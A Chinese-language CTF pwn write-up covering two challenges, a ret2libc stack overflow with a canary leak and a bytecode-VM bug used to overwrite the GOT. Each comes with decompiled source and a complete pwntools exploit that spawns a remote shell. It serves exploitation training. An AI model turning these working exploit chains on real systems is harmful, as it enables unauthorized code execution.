repeater_handout

复盘/ret2libc

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-24h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts(
"When Siesta was chatting with Rin-chan, he was so engrossed that he couldn't hear what Mio and Rinpo were saying. He"
" just repeated their words to brush them off");
while ( 1 )
{
while ( 1 )
{
puts("choose your option: \n1. input\n2. repeat\n3. exit");
__isoc99_scanf("%d", &v4);
if ( v4 != 1 )
break;
read(0, buf, 0x100uLL);
}
if ( v4 != 2 )
break;
printf("%s", buf);
}
return 0LL;
}

先放wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=remote('125.220.147.47',49739)
#r=process('./repeater_handout')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
e=ELF('./repeater_handout')
pop_rdi_offset=0x02a3e5
ret_offset=0x029139
r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit',b'1')
payload0=b'a'*24+b'b'
r.send(payload0)
r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit',b'2')
r.recv(25)
canary=u64(r.recv()[25:32].rjust(8,b'\x00'))
r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit',b'1')
payload1=b'a'*24+b'b'*16
r.send(payload1)
r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit',b'2')
r.recv(40)
ret_add=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
__libc_start_main_add=ret_add+48
libcbase=__libc_start_main_add-libc.sym['__libc_start_main']
pop_rdi_add=libcbase+pop_rdi_offset
ret=libcbase+ret_offset
sys_add=libcbase+libc.sym['system']
bin_add=libcbase+next(libc.search('/bin/sh'))
r.sendlineafter(b'choose your option: \n1. input\n2. repeat\n3. exit',b'1')
payload2=b'a'*24+p64(canary)+b'b'*8+p64(pop_rdi_add)+p64(bin_add)+p64(ret)+p64(sys_add)
r.send(payload2)

r.interactive()

基本的栈溢出,有canary保护和NX保护,打ret2libc
溢出先覆盖canary的最低字节处的\x00,防止输出被截断,成功泄露canary,下一次溢出就可以绕过canary泄露出栈上的返回地址
接下来gdb调试一下得出泄露的返回地址与__libc_start_main函数的偏移,就成功泄露libc
此处注意在gdb时发现无法直接在main函数处下断点,现在知道__libc_start_main函数的第一个参数就是main函数地址,在__libc_start_main处下断点再查看rdi信息就可以得到main函数的地址了
尤其注意最后加上一个ret片段来完成栈对齐
知识引申:_start函数调用__libc_start_main函数,__libc_start_main函数中的一段,被称为__libc_start_call_main(在调试时可以看到)调用main函数,main函数返回时会返回到__libc_start_main函数的某一偏移处,接着调用exit函数,结束

ezvm

复现/虚拟机/got表覆写

这是一道虚拟机题目,一般源码很长,但漏洞点一般就一些,其他选项是迷惑
题目的虚拟机实现的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
__int64 __fastcall sub_12AE(__int64 a1, __int64 a2, int a3)
{
int v3; // ebx
__int64 result; // rax
char v6; // [rsp+26h] [rbp-2Ah]
char v7; // [rsp+27h] [rbp-29h]
char v8; // [rsp+28h] [rbp-28h]
char v9; // [rsp+29h] [rbp-27h]
char v10; // [rsp+2Ch] [rbp-24h]
char v11; // [rsp+2Dh] [rbp-23h]
unsigned __int8 v12; // [rsp+2Eh] [rbp-22h]
unsigned __int8 v13; // [rsp+2Fh] [rbp-21h]
unsigned __int8 v14; // [rsp+30h] [rbp-20h]
unsigned __int8 v15; // [rsp+31h] [rbp-1Fh]
char v16; // [rsp+32h] [rbp-1Eh]
char v17; // [rsp+33h] [rbp-1Dh]
char v18; // [rsp+34h] [rbp-1Ch]
char v19; // [rsp+35h] [rbp-1Bh]
char v20; // [rsp+36h] [rbp-1Ah]
char v21; // [rsp+37h] [rbp-19h]
unsigned __int8 v22; // [rsp+38h] [rbp-18h]
unsigned __int8 v23; // [rsp+39h] [rbp-17h]
unsigned __int8 v24; // [rsp+3Ah] [rbp-16h]
unsigned __int8 v25; // [rsp+3Bh] [rbp-15h]
int i; // [rsp+3Ch] [rbp-14h]

for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= a3 )
break;
v25 = *(_BYTE *)(i + a2);
switch ( v25 )
{
case 1u:
sub_11E6(a1, *(unsigned __int8 *)(++i + a2));
break;
case 2u:
sub_1254(a1);
break;
case 3u:
v7 = sub_1254(a1);
v6 = sub_1254(a1);
sub_11E6(a1, (unsigned __int8)(v7 + v6));
break;
case 4u:
v9 = sub_1254(a1);
v8 = sub_1254(a1);
sub_11E6(a1, (unsigned __int8)(v9 - v8));
break;
case 5u:
v3 = *(char *)(++i + a2);
*(_BYTE *)(a1 + v3) = sub_1254(a1);
break;
case 6u:
sub_11E6(a1, *(unsigned __int8 *)(a1 + *(char *)(++i + a2)));
break;
case 7u:
if ( *(int *)(a1 + 256) < 0 )
{
puts("Stack underflow!");
exit(1);
}
++*(_BYTE *)(a1 + *(int *)(a1 + 256) + 128);
break;
case 8u:
if ( *(int *)(a1 + 256) < 0 )
{
puts("Stack underflow!");
exit(1);
}
--*(_BYTE *)(a1 + *(int *)(a1 + 256) + 128);
break;
case 9u:
v11 = sub_1254(a1);
v10 = sub_1254(a1);
sub_11E6(a1, (unsigned __int8)(v10 * v11));
break;
case 0xAu:
v13 = sub_1254(a1);
v12 = sub_1254(a1);
if ( !v12 )
{
puts("Division by zero!");
exit(1);
}
sub_11E6(a1, (unsigned __int8)(v13 / v12));
break;
case 0xBu:
v15 = sub_1254(a1);
v14 = sub_1254(a1);
if ( !v14 )
{
puts("Division by zero!");
exit(1);
}
sub_11E6(a1, (unsigned __int8)(v15 % v14));
break;
case 0xCu:
v17 = sub_1254(a1);
v16 = sub_1254(a1);
sub_11E6(a1, (unsigned __int8)(v16 & v17));
break;
case 0xDu:
v19 = sub_1254(a1);
v18 = sub_1254(a1);
sub_11E6(a1, (unsigned __int8)(v18 | v19));
break;
case 0xEu:
v21 = sub_1254(a1);
v20 = sub_1254(a1);
sub_11E6(a1, (unsigned __int8)(v20 ^ v21));
break;
case 0xFu:
if ( *(int *)(a1 + 256) < 0 )
{
puts("Stack underflow!");
exit(1);
}
*(_BYTE *)(a1 + *(int *)(a1 + 256) + 128) = ~*(_BYTE *)(a1 + *(int *)(a1 + 256) + 128);
break;
case 0x10u:
v22 = *(_BYTE *)(i + 1 + a2);
if ( a3 <= v22 )
{
puts("Jump out of bounds!");
exit(1);
}
i = v22 - 1;
break;
case 0x11u:
v23 = *(_BYTE *)(++i + a2);
if ( a3 <= v23 )
{
puts("Jump out of bounds!");
exit(1);
}
if ( *(int *)(a1 + 256) >= 0 && !*(_BYTE *)(a1 + *(int *)(a1 + 256) + 128) )
i = v23 - 1;
break;
case 0x12u:
v24 = *(_BYTE *)(++i + a2);
if ( a3 <= v24 )
{
puts("Jump out of bounds!");
exit(1);
}
if ( *(int *)(a1 + 256) >= 0 && *(_BYTE *)(a1 + *(int *)(a1 + 256) + 128) )
i = v24 - 1;
break;
default:
printf("Unknown opcode: 0x%02X\n", v25);
exit(1);
}
}
return result;
}

经过逆向,主要有用的命令码有:0x01将下一个字节压栈;0x03:加法(弹出栈顶两元素相加后压栈);0x04:减法(弹出栈顶元素减次栈顶元素后压栈);0x05:将栈顶值存到下一字节索引处
选项0x05中的索引值类型为char,如果我们写入0x80,即128超出char的上限,0x80=0b10000000,符号位是1被认定为负数的补码,还原后会得到-128,即-0x80,这时我们在ida里发现索引到-128处正好是printf的got表项,那么我们根据偏移关系(libc.sym[“system”]和libc.sym[“printf”]比对),就可以把printf的got表项改为system,最后把”sh”写入(一般写/bin/sh,这里图省事),便可以getshell。
wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'
libc=ELF('./libc.so.6')
log.success(hex(libc.sym["system"]-libc.sym["printf"]))

r=remote('125.220.147.47',49761)

payload=b"\x01"+p8(0x70)+b"\x05"+p8(0x80)
payload+=b"\x01\x07\x06\x81\x03"+b"\x05"+p8(0x81)
payload+=b"\x01\x01\x06\x82\x04"+b"\x05"+p8(0x82)
payload+=b"\x01s"+ b"\x05"+p8(0x0)+ b"\x01h"+ b"\x05"+p8(0x1)

r.sendlineafter(b"input length: ", str(len(payload)).encode())
r.sendafter(b"input code: ", payload)
r.interactive()